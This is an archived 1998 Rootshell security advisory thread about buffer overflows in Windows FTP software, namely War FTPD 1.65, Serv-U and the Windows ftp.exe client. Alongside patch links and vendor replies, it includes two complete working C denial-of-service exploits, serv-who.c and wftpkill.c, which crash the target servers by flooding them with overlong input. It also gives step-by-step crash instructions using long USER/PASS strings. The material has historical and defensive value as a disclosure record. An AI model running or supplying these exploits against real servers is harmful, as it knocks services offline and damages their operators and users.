From rootshell:
*** A PATCH IS NOW AVAILABLE *********************************************
http://www.the-core.net/mirror/jgaa/files/ward166x4s-upgrade.zip
http://www10.torget.se/tucows/files/ward166x4s-upgrade.zip
ftp://ftp.netis.com/pub/ftp1/tucows/files/ward166x4s-upgrade.zip
ftp://ftp.midtenn.net/pub/mirrors/tucows/files/ward166x4s-upgrade.zip
ftp://ftp.tvd.be/pub/mirrors/tucows/files/ward166x4s-upgrade.zip
ftp://ftp.dei.uc.pt/pub/tucows/windows/ward166x4s-upgrade.zip
ftp://ftp.univ-aix.fr/pub2/tucows/files/ward166x4s-upgrade.zip
**************************************************************************
---------- Forwarded message ----------
Windows 95/NT War FTPD 1.65 Buffer Overflow
-------------------------------------------
The popular War FTPD daemon for Windows 95 and NT contains a very bad buffer
overflow allows for remote users to execute code on your stack or simply
crash the ftp server.
The overflow exists in many places including the USER and PASS phase. To
exploit War FTPD you must connect to the FTP server (port 21) and issue the
following command :
USER xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long string)
or
PASS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx (very long strong)
At this point the FTP daemon will crash. We at Rootshell are not Windows
users and did not have the resources or time to write actual code to execute
on the stack, however it IS possible.
You may find War FTPD information at http://www.sidenet.com.br/jgaa/
----------------------------------------------------------------------------
Hello All,
My apologies if this is old news.
While testing the WAR ftp bugs, I ran across some trivial, but
interesting overflows in the NT 3.51/4.0, and Win95 FTP client.
Seems that there are at least 3 separate overflow problems in the
ftp client.
-- 1st is with the username input. Give a username more than 285
chars, and ftp.exe will bomb with an access violation. This only seems
to affect Win NT 3.51/4.0....mainly because Win95 will only allow a
254 char username.
-- 2nd is with the password input. Not sure how many chars cause the
condition, but hold down a key for a few minutes and press return.
Should cause ftp to bomb. Seems to only happen with Win95, and looks
like an overflow.
-- 3rd is with the ftp command parser. Type in any unrecognized
command that is longer than 207 chars. ftp.exe will bomb and produce
an access violation again. This affects both NT and Win 95 ftp
clients.
These bugs are not really much of a concern....but it does show that
MS's code is chock full of overflows. What else has these sorts of
problems? Makes you wonder...........
Anton Rager
arager@McGraw-Hill.com
----------------------------------------------------------------------------
Hello,
After reading an earlier message, Windows 95/NT War FTPD 1.65 Buffer
Overflow, I thought I might play around with some other Windows ftp
servers. One problem I found was in Serv-U FTP by Cat-Soft
<http://www.cat-soft.com>. After you connect instead of sending the normal
USER then PASS, you can send garbage. And if you send alot of garbage at a
high speed Serv-U will stop responding to mouse clicks and after a short
amount of time will crash and give you this:
SERV-U32 caused a stack fault in module KERNEL32.DLL at 014f:bff9a08c.
Registers:
EAX=005e2084 CS=014f EIP=bff9a08c EFLGS=00000246
EBX=17bf0514 SS=0157 ESP=005e2080 EBP=005e20d4
ECX=005e2098 DS=0157 ESI=81628c70 FS=2347
EDX=ffffffff ES=0157 EDI=0000ffff GS=0000
Bytes at CS:EIP:
5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec
Stack dump:
00000001 c00000fd 00000000 00000000 bff9a08c 00000000 01570157 01870028
17bf0b6a c10fabe8 16c70001 80dc0014 16e73a45 00040000 02000000 bff97fdc
Why it does this I have no idea. It only acts this way in the windows 95
version. Under NT the cpu usage goes up to 100%, but no crash. Alot of
times even after the crashed Serv-U has closed, Windows is still slow to
non responsive.
And here is the program I used, not pretty but it works:
/*
serv-who.c - 1998 - whiz
kills Serv-U ftp on win95 boxes
This program makes SERV-U32 cause
a stack fault in module KERNEL32.DLL
Sometimes after Serv-U crashes, windows
becomes slow and non responsive,
just an added bonus. Another thing
is that if the ftp is running on NT
it usually won't crash, just raise
CPU usage to 100% while the attack is
running.
Tested on:
i586/100 - 72 meg RAM - crashed 5 times - Serv-U FTP-Server v2.3a
i586/300 - 32 meg RAM - crashed 2 times - Serv-U FTP-Server v2.3b
?/? - ? meg RAM - crashed 2 times - Serv-U FTP-Server v2.3
i586/233 - 32 meg RAM - crashed 1 time - Serv-U FTP-Server v2.2
>>> Thanks to gen for helping me test this. <<<
Another thing that might effect this
program is how fast the serv-who
computer's internet connection is.
Or in other words how much faster is
it then the victim's link. A Faster
one will give a higher success rate.
serv-who, like, who the hell are
you going to serv now, your crashed
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
int x, s, i, p, dport;
char *str =
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
*
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf(" Connected to [%s:%d].\n",server,port);
return;
}
void main(int argc, char *argv[]) {
int t;
if (argc != 3) {
printf("serv-who.c - whiz\n\n");
printf("kills serv-u ftp daemons\n\n");
printf("Usage: %s <victim> <port>\n",argv[0]);
exit(0);
}
printf("serv-who.c - whiz\n\n");
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket()");
exit(-1);
}
p = atoi(argv[2]);
open_sock(s,argv[1],p);
printf(" Sending crap to %s on port %i... \n", argv[1], p);
for (i=0; i<1000; i++) { /* loop is REAL high, most likely
*/
send(s,str,strlen(str),0x0); /* it will exit with a */
send(s,str,strlen(str)*20+1,0x0); /* "Broken Pipe"
error before */
send(s,str,strlen(str)*25+2,0x0); /* finishing the loop */
send(s,str,strlen(str)*30+3,0x0);
send(s,str,strlen(str)*35+4,0x0);
send(s,str,strlen(str)*40+5,0x0); /* i just went crazy on the sends */
send(s,str,strlen(str)*45+4,0x0); /* pay no attention to them */
send(s,str,strlen(str)*50+5,0x0);
send(s,str,strlen(str)*255+4,0x0);
send(s,str,strlen(str)*182+5,0x0);
send(s,str,strlen(str)*888+4,0x0);
send(s,str,strlen(str)*666+5,0x0);
send(s,str,strlen(str)*20+1,0x0);
send(s,str,strlen(str)*25+2,0x0);
send(s,str,strlen(str)*30+3,0x0);
send(s,str,strlen(str)*35+4,0x0);
send(s,str,strlen(str)*40+5,0x0);
send(s,str,strlen(str)*45+4,0x0);
send(s,str,strlen(str)*50+5,0x0);
send(s,str,strlen(str)*255+4,0x0);
send(s,str,strlen(str)*182+5,0x0);
send(s,str,strlen(str)*888+4,0x0);
send(s,str,strlen(str)*666+5,0x0);
}
printf("all done\n");
close(s);
}
----------------------------------------------------------------------------
This program doesn't do anything to my Serv-U program. I can see the
garbage flooding, however when I break out of serv-who.c, serv-u continues
to run normally without any crash or system slowdown. I'm running win95
osr2 on a PPro 150, and ServU version 2.0c 32bit. This is an older version
so perhaps that's the reason ..
-----Original Message-----
>Hello,
>After reading an earlier message, Windows 95/NT War FTPD 1.65 Buffer
>Overflow, I thought I might play around with some other Windows ftp
>servers. One problem I found was in Serv-U FTP by Cat-Soft
><http://www.cat-soft.com>. After you connect instead of sending the normal
>USER then PASS, you can send garbage. And if you send alot of garbage at a
>high speed Serv-U will stop responding to mouse clicks and after a short
>amount of time will crash and give you this:
>
>SERV-U32 caused a stack fault in module KERNEL32.DLL at 014f:bff9a08c.
>Registers:
>EAX=005e2084 CS=014f EIP=bff9a08c EFLGS=00000246
>EBX=17bf0514 SS=0157 ESP=005e2080 EBP=005e20d4
>ECX=005e2098 DS=0157 ESI=81628c70 FS=2347
>EDX=ffffffff ES=0157 EDI=0000ffff GS=0000
>Bytes at CS:EIP:
>5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec
>Stack dump:
>00000001 c00000fd 00000000 00000000 bff9a08c 00000000 01570157 01870028
>17bf0b6a c10fabe8 16c70001 80dc0014 16e73a45 00040000 02000000 bff97fdc
>
>Why it does this I have no idea. It only acts this way in the windows 95
>version. Under NT the cpu usage goes up to 100%, but no crash. Alot of
>times even after the crashed Serv-U has closed, Windows is still slow to
>non responsive.
>
>And here is the program I used, not pretty but it works:
>
----------------------------------------------------------------------------
The author (I'm just a customer, no financial stake etc. sent with
permission) says:
"I've run the program, and it does indeed kill Serv-U on Win95 on a fast
link. From the looks of it sofar it seems the Win95 socket stack is to
blame. It never even goes into actual Serv-U code when it crashes, but
stays in system drivers."
--
Alan Thew alan.thew@liverpool.ac.uk
Computing Services,University of Liverpool Fax: +44 151 794-4442
On Thu, 5 Feb 1998, tl wrote:
> This program doesn't do anything to my Serv-U program. I can see the
> garbage flooding, however when I break out of serv-who.c, serv-u continues
> to run normally without any crash or system slowdown. I'm running win95
> osr2 on a PPro 150, and ServU version 2.0c 32bit. This is an older version
> so perhaps that's the reason ..
>
> -----Original Message-----
>
>
> >Hello,
> >After reading an earlier message, Windows 95/NT War FTPD 1.65 Buffer
> >Overflow, I thought I might play around with some other Windows ftp
> >servers. One problem I found was in Serv-U FTP by Cat-Soft
> ><http://www.cat-soft.com>. After you connect instead of sending the normal
> >USER then PASS, you can send garbage. And if you send alot of garbage at a
> >high speed Serv-U will stop responding to mouse clicks and after a short
> >amount of time will crash and give you this:
> >
> >SERV-U32 caused a stack fault in module KERNEL32.DLL at 014f:bff9a08c.
> >Registers:
> >EAX=005e2084 CS=014f EIP=bff9a08c EFLGS=00000246
> >EBX=17bf0514 SS=0157 ESP=005e2080 EBP=005e20d4
> >ECX=005e2098 DS=0157 ESI=81628c70 FS=2347
> >EDX=ffffffff ES=0157 EDI=0000ffff GS=0000
> >Bytes at CS:EIP:
> >5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec
> >Stack dump:
> >00000001 c00000fd 00000000 00000000 bff9a08c 00000000 01570157 01870028
> >17bf0b6a c10fabe8 16c70001 80dc0014 16e73a45 00040000 02000000 bff97fdc
> >
> >Why it does this I have no idea. It only acts this way in the windows 95
> >version. Under NT the cpu usage goes up to 100%, but no crash. Alot of
> >times even after the crashed Serv-U has closed, Windows is still slow to
> >non responsive.
> >
> >And here is the program I used, not pretty but it works:
> >
>
----------------------------------------------------------------------------
From alvin@another-world.com Wed Feb 25 18:19:13 1998
Date: Thu, 26 Feb 1998 02:39:42 +0100
From: "A|vin (Julien Pieraut)" <alvin@another-world.com>
To: info@rootshell.com
Subject: WarFTP 1.65 Buffer Overflow - wftpkill.c
Hello, here is the lil prog I wrote that exploits WarFTP bug :
----------------------------------------------------------------------
/*
* WarFTP Killer by A|vin - 02/25/98
* Contact : alvin@another-world.com
*
* Crashes WarFTP Win95/NT FTP daemon by sending a long
* string in user authentification. Tested on WarFTP 1.65.
*
* Greetz : ackb0o, amplex, AFauveau, ben`be, kewl,
* Owlie, Parker, Rapha, Richelieu, Sibere, Voks.
*
* .oO GeMiNi C0rP iZ EvErYwHeRe Oo.
*/
#include <stdio.h>
#include <strings.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
struct in_addr
resolv (char *name)
{
static struct in_addr in;
unsigned long l;
struct hostent *ent;
if ((l = inet_addr (name)) != INADDR_NONE)
{
in.s_addr = l;
return in;
}
if (!(ent = gethostbyname (name)))
{
in.s_addr = INADDR_NONE;
return in;
}
return *(struct in_addr *) ent->h_addr;
}
main (int argc, char *argv[])
{
struct sockaddr_in addr;
int i, s;
char c;
int port = 21;
printf ("WarFTP Killer by A|vin - .oO GeMiNi C0rP iZ EvErYwHeRe
Oo.\n");
if (argc < 2)
{
printf ("Usage : %s <host> [port]\n", argv[0]);
exit (0);
}
if (argc == 3)
port = atoi (argv[2]);
s = socket (AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_addr = resolv (argv[1]);
addr.sin_port = htons (port);
connect (s, (struct sockaddr *) &addr, sizeof (addr));
write (s, "USER ", 5);
for (i = 1; i <= 500; i++)
{
write (s, "GeMiNi", 6);
}
write (s, "\n", 1);
write (s, "PASS ", 5);
for (i = 1; i <= 500; i++)
{
write (s, "C0rP", 4);
}
write (s, "\n", 1);
read (s, &c, 1);
printf("Done.\n");
}
----------------------------------------------------------------------
-=[ A|vin ]=-
* E-Mail : alvin@another-world.com
* IRC : #Nebuleuse (IRCNet)
* Web : http://roger-waters.home.ml.org
http://nebuleuse.home.ml.org
----------------------------------------------------------------------
From alun@texis.com Mon Mar 2 13:32:02 1998
Date: Mon, 02 Mar 1998 15:07:02 -0600
From: Alun Jones <alun@texis.com>
To: info@rootshell.com
Subject: Recent Windows FTP server attacks.
I post this to you because we have received well-intentioned copies of your
exploit reports for War-FTPD, no doubt by people who are confused by the
similarity in name to the older (and, of course, far superior) WFTPD. Your
readers may make a similar confusion - the following information may help
them.
At around the same time that you posted serv-who.c, warkill, etc, a
customer of mine came to me with a related security problem (the usual
buffer overrun, I'm embarrassed to say). Two days later, we not only were
testing a fix for that customer's problem, but we could also verify that
neither the newer nor the older version of WFTPD fall prey to any of the
exploits I have seen on your site. (Our bug required a user to login and
be allowed to create directories)
We recommend any user of older versions of WFTPD and WFTPD Pro update to
version 2.35.
We take system security seriously here at Texas Imperial Software.
Alun.
~~~~
---
Texas Imperial Software | Try WFTPD, the Windows FTP Server. Find it
1602 Harvest Moon Place | at web site http://www.wftpd.com or email
Cedar Park TX 78613 | us at alun@texis.com. VISA / MC accepted.
Fax +1 (512) 378 3246 | NT users and ISPs, be sure to read details of
Phone +1 (512) 378 3246 | WFTPD Pro, the NT service version - cost $80.
----------------------------------------------------------------------
From webmaster@mail.jgaa.com Tue Mar 3 12:50:54 1998
Date: Tue, 03 Mar 1998 14:57:28 -0500
From: WebMaster <webmaster@mail.jgaa.com>
To: info@rootshell.com
Subject: War FTP Daemon Bug
Hi...
I just got a note from someone saying that a patch had not yet been
released... In fact, one has been released, just not all of the mirrors
(even www.jgaa.com) have not been updated yet. Jgaa takes this
responsibility, but with working on the latest version of the daemon has
been unable to release a site update. I will try to do this today :)
Anyways... You link to a tucows site in Europe. My mirror of his site
has the file, and would hopefully be faster for most people. The URL
is http://www.the-core.net/mirror/jgaa/files/ward166x4s-upgrade.zip.
Thanks,
Chris
--
Chris Evelsizor
WebMaster/NewsMster, Jgaa's Internet